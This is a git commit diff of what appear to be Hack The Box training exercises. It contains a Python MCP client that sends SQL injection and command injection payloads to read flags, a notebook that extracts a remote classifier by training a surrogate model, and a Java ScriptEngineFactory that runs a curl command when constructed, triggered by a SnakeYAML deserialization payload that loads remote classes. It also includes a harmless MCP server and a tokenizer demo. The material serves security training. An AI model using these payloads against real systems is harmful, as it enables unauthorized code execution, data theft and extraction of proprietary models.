added material

This commit is contained in:
Jeremy Janella
2026-05-09 23:21:13 -04:00
commit 75faa5c410
369 changed files with 3468754 additions and 0 deletions
@@ -0,0 +1,102 @@
import asyncio
from fastmcp import Client, FastMCP
client = Client("http://154.57.164.78:30484/mcp/")
async def main():
async with client:
resources = await client.list_resources()
resource_templates = await client.list_resource_templates()
tools = await client.list_tools()
print("Resources:")
for resource in resources:
print('***')
print(resource.name)
print(resource.description.strip())
print("-"*50)
print("Resource Templates:")
for resource_template in resource_templates:
print('***')
print(resource_template.uriTemplate)
print(resource_template.description.strip())
print("-"*50)
print("Tools:")
for tool in tools:
print('***')
params = list(tool.inputSchema.get('properties').keys())
print(f"{tool.name}({','.join(params)})")
print(tool.description.strip())
# VULNERABLE MCP SERVER
# Information Leakage (other requests first to populate)
# try:
# result_object = await client.read_resource("resource://logs")
# print(result_object[0].text)
# except Exception as e:
# print(f"[-] {e}")
# RCE
# try:
# result_object = await client.call_tool("execute_server_command", {"command": "date;cat flag.txt"})
# print(result_object)
# except Exception as e:
# print(f"[-] {e}")
# SQLi
## UNION SELECT group_concat(name || ':' || type) FROM pragma_table_info('flag'), url encoded
# try:
# ## UNION SELECT flag FROM flag
# result_object = await client.read_resource("price://x'%20UNION%20SELECT%20flag%20FROM%20flag--")
# print(result_object[0].text)
# except Exception as e:
# print(f"[-] {e}")
# SKILLS ASSESSMENT
try:
result_object = await client.read_resource("resource://platforms")
print(result_object[0].text)
except Exception as e:
print(f"[-] {e}")
try:
result_object = await client.read_resource("password://rootlocker.htb")
print(result_object[0].text)
except Exception as e:
print(f"[-] {e}")
try:
result_object = await client.call_tool("store_password", {"password": "DummyPassword123", "platform": "rootlocker.htb'"})
print(result_object.content[0].text)
except Exception as e:
print(f"[-] {e}")
try:
result_object = await client.call_tool("store_password", {"password": "DummyPassword123", "platform": "roottlocker.htb' UNION SELECT @@version-- -"})
print(result_object.content[0].text)
except Exception as e:
print(f"[-] {e}")
try:
result_object = await client.call_tool("store_password", {"password": "DummyPassword123", "platform": "roottlocker.htb' UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns where table_name = \"flag\"-- -"})
print(result_object.content[0].text)
except Exception as e:
print(f"[-] {e}")
try:
result_object = await client.call_tool("store_password", {"password": "DummyPassword123", "platform": "roottlocker.htb' UNION SELECT flag FROM flag-- -"})
print(result_object.content[0].text)
except Exception as e:
print(f"[-] {e}")
asyncio.run(main())
@@ -0,0 +1,33 @@
from fastmcp import FastMCP
from glob import glob
mcp = FastMCP("MCP")
# Prompt
@mcp.prompt()
def spell_check(text: str) -> str:
"""Generates a user message asking for a spell check of an input text."""
return f"Please check the following text for typos and grammatical errors:\n\n{text}"
# Resource
@mcp.resource("resource://filecount")
def count_files() -> int:
"""Provides the number of stored files."""
return len(glob("/tmp/*.mcpfile"))
# Resource Template
@mcp.resource("getfile://{file_name}")
def get_file(file_name: str) -> str:
"""Get content of a stored file."""
with open(f"/tmp/{file_name}.mcpfile", "r") as f:
return f.read()
# Tool
@mcp.tool()
def store_file(file_content: str, file_name: str) -> str:
"""Store a file."""
with open(f"/tmp/{file_name}.mcpfile", "w+") as f:
f.write(file_content)
return file_content
mcp.run(transport="streamable-http", host="127.0.0.1", port=8000)
@@ -0,0 +1,186 @@
{
"cells": [
{
"cell_type": "code",
"execution_count": 1,
"id": "8d4f4ce4-7136-40b4-bb26-2282a70c01ed",
"metadata": {},
"outputs": [],
"source": [
"N_SAMPLES = 100\n",
"\n",
"MIN_FLIPPER_LENGTH = 150\n",
"MAX_FLIPPER_LENGTH = 250\n",
"\n",
"MIN_BODY_MASS = 2500\n",
"MAX_BODY_MASS = 6500\n",
"\n",
"CLASSIFIER_URL = \"http://154.57.164.64:31234/\"\n"
]
},
{
"cell_type": "code",
"execution_count": 2,
"id": "aae0ccdc-0d16-4ac4-9e4e-349ca917e0d4",
"metadata": {},
"outputs": [
{
"name": "stdout",
"output_type": "stream",
"text": [
" Flipper Length (mm) Body Mass (g)\n",
"0 225.360814 4507.338188\n",
"1 155.862659 5086.012537\n",
"2 202.298517 5345.538155\n",
"3 151.772929 5325.544831\n",
"4 157.298876 5988.681592\n"
]
}
],
"source": [
"import random\n",
"import pandas as pd\n",
"\n",
"samples = {\n",
" \"Flipper Length (mm)\": [],\n",
" \"Body Mass (g)\": []\n",
"}\n",
"\n",
"for i in range(N_SAMPLES):\n",
" samples[\"Flipper Length (mm)\"].append(random.uniform(MIN_FLIPPER_LENGTH, MAX_FLIPPER_LENGTH))\n",
" samples[\"Body Mass (g)\"].append(random.uniform(MIN_BODY_MASS, MAX_BODY_MASS))\n",
"\n",
"samples_df = pd.DataFrame(samples)\n",
"print(samples_df.head())\n"
]
},
{
"cell_type": "code",
"execution_count": 3,
"id": "b06a1bf2-f465-4bfc-af92-5ef3a85efab0",
"metadata": {},
"outputs": [
{
"name": "stdout",
"output_type": "stream",
"text": [
" species\n",
"0 Gentoo\n",
"1 Adelie\n",
"2 Gentoo\n",
"3 Adelie\n",
"4 Adelie\n"
]
}
],
"source": [
"import requests\n",
"import json\n",
"\n",
"predictions = {\"species\": []}\n",
"\n",
"for i in range(N_SAMPLES):\n",
" sample = {\n",
" \"flipper_length\": samples[\"Flipper Length (mm)\"][i],\n",
" \"body_mass\": samples[\"Body Mass (g)\"][i]\n",
" }\n",
"\n",
" prediction = json.loads(requests.get(CLASSIFIER_URL, params=sample).text).get(\"result\")\n",
" predictions[\"species\"].append(prediction)\n",
"\n",
"predictions_df = pd.DataFrame(predictions)\n",
"print(predictions_df.head())\n"
]
},
{
"cell_type": "code",
"execution_count": 4,
"id": "19f9f2b1-dc61-4986-ae74-158a19bd8870",
"metadata": {},
"outputs": [
{
"name": "stderr",
"output_type": "stream",
"text": [
"/home/jeremy/.conda/envs/ai/lib/python3.11/site-packages/sklearn/utils/validation.py:1352: DataConversionWarning: A column-vector y was passed when a 1d array was expected. Please change the shape of y to (n_samples, ), for example using ravel().\n",
" y = column_or_1d(y, warn=True)\n"
]
},
{
"data": {
"text/plain": [
"['surrogate.joblib']"
]
},
"execution_count": 4,
"metadata": {},
"output_type": "execute_result"
}
],
"source": [
"from sklearn.pipeline import make_pipeline\n",
"from sklearn.preprocessing import StandardScaler\n",
"from sklearn.linear_model import LogisticRegression\n",
"import joblib\n",
"\n",
"surrogate_model = make_pipeline(StandardScaler(), LogisticRegression())\n",
"surrogate_model.fit(samples_df, predictions_df)\n",
"\n",
"# save classifier to a file\n",
"joblib.dump(surrogate_model, 'surrogate.joblib')\n"
]
},
{
"cell_type": "code",
"execution_count": 5,
"id": "ddd1763f-dc46-4d40-b7bb-c9e866fdb632",
"metadata": {},
"outputs": [
{
"name": "stdout",
"output_type": "stream",
"text": [
"{'accuracy': 0.9817518248175182, 'flag': 'HTB{ff08c0bb37e16f30a0804053a4de70ed}'}\n"
]
}
],
"source": [
"with open('surrogate.joblib', 'rb') as f:\n",
" file = f.read()\n",
"\n",
"r = requests.post(CLASSIFIER_URL + '/model', files={'file': ('surrogate.joblib', file)})\n",
"\n",
"print(json.loads(r.text))\n"
]
},
{
"cell_type": "code",
"execution_count": null,
"id": "7093628b-db4e-4f8f-a56e-69882f564303",
"metadata": {},
"outputs": [],
"source": []
}
],
"metadata": {
"kernelspec": {
"display_name": "Python 3 (ipykernel)",
"language": "python",
"name": "python3"
},
"language_info": {
"codemirror_mode": {
"name": "ipython",
"version": 3
},
"file_extension": ".py",
"mimetype": "text/x-python",
"name": "python",
"nbconvert_exporter": "python",
"pygments_lexer": "ipython3",
"version": "3.11.6"
}
},
"nbformat": 4,
"nbformat_minor": 5
}
@@ -0,0 +1,108 @@
{
"cells": [
{
"cell_type": "code",
"execution_count": null,
"id": "08bf7c87-7357-4c1c-a185-190c2df112e6",
"metadata": {},
"outputs": [
{
"name": "stdin",
"output_type": "stream",
"text": [
"> hello im jeremy\n"
]
},
{
"name": "stdout",
"output_type": "stream",
"text": [
"Number of Input Characters: 15\n",
"Number of Tokens: 5\n",
"[\n",
" \"hello\",\n",
" \"\\u0120im\",\n",
" \"\\u0120j\",\n",
" \"ere\",\n",
" \"my\"\n",
"]\n"
]
},
{
"name": "stderr",
"output_type": "stream",
"text": [
"/home/jeremy/.conda/envs/ai/lib/python3.11/site-packages/huggingface_hub/file_download.py:943: FutureWarning: `resume_download` is deprecated and will be removed in version 1.0.0. Downloads always resume when possible. If you want to force a new download, use `force_download=True`.\n",
" warnings.warn(\n"
]
},
{
"name": "stdin",
"output_type": "stream",
"text": [
"> safhawepoiefj\n"
]
},
{
"name": "stdout",
"output_type": "stream",
"text": [
"Number of Input Characters: 13\n",
"Number of Tokens: 6\n",
"[\n",
" \"saf\",\n",
" \"haw\",\n",
" \"ep\",\n",
" \"o\",\n",
" \"ief\",\n",
" \"j\"\n",
"]\n"
]
}
],
"source": [
"from transformers import AutoTokenizer\n",
"import json\n",
"\n",
"model = 'openai-community/gpt2'\n",
"\n",
"while 1:\n",
"\ttext = input(\"> \")\n",
"\n",
"\ttokens = AutoTokenizer.from_pretrained(model).tokenize(text)\n",
"\tprint(f\"Number of Input Characters: {len(text)}\")\n",
"\tprint(f\"Number of Tokens: {len(tokens)}\")\n",
"\tprint(json.dumps(tokens, indent=2))"
]
},
{
"cell_type": "code",
"execution_count": null,
"id": "9de80fcb-3145-4e9d-8265-ce885b2ed5d4",
"metadata": {},
"outputs": [],
"source": []
}
],
"metadata": {
"kernelspec": {
"display_name": "Python 3 (ipykernel)",
"language": "python",
"name": "python3"
},
"language_info": {
"codemirror_mode": {
"name": "ipython",
"version": 3
},
"file_extension": ".py",
"mimetype": "text/x-python",
"name": "python",
"nbconvert_exporter": "python",
"pygments_lexer": "ipython3",
"version": "3.11.6"
}
},
"nbformat": 4,
"nbformat_minor": 5
}
@@ -0,0 +1 @@
exploit.MyScriptEngineFactory
@@ -0,0 +1,78 @@
package exploit;
import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;
public class MyScriptEngineFactory implements ScriptEngineFactory {
public MyScriptEngineFactory() {
try {
Runtime.getRuntime().exec("curl http://127.0.0.1:9001/rce");
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public String getEngineName() {
return null;
}
@Override
public String getEngineVersion() {
return null;
}
@Override
public List<String> getExtensions() {
return null;
}
@Override
public List<String> getMimeTypes() {
return null;
}
@Override
public List<String> getNames() {
return null;
}
@Override
public String getLanguageName() {
return null;
}
@Override
public String getLanguageVersion() {
return null;
}
@Override
public Object getParameter(String key) {
return null;
}
@Override
public String getMethodCallSyntax(String obj, String m, String... args) {
return null;
}
@Override
public String getOutputStatement(String toDisplay) {
return null;
}
@Override
public String getProgram(String... statements) {
return null;
}
@Override
public ScriptEngine getScriptEngine() {
return null;
}
}
@@ -0,0 +1,3 @@
def initialize(self, context):
self.model = self.load_model()
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1 @@
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:8000/"]]]]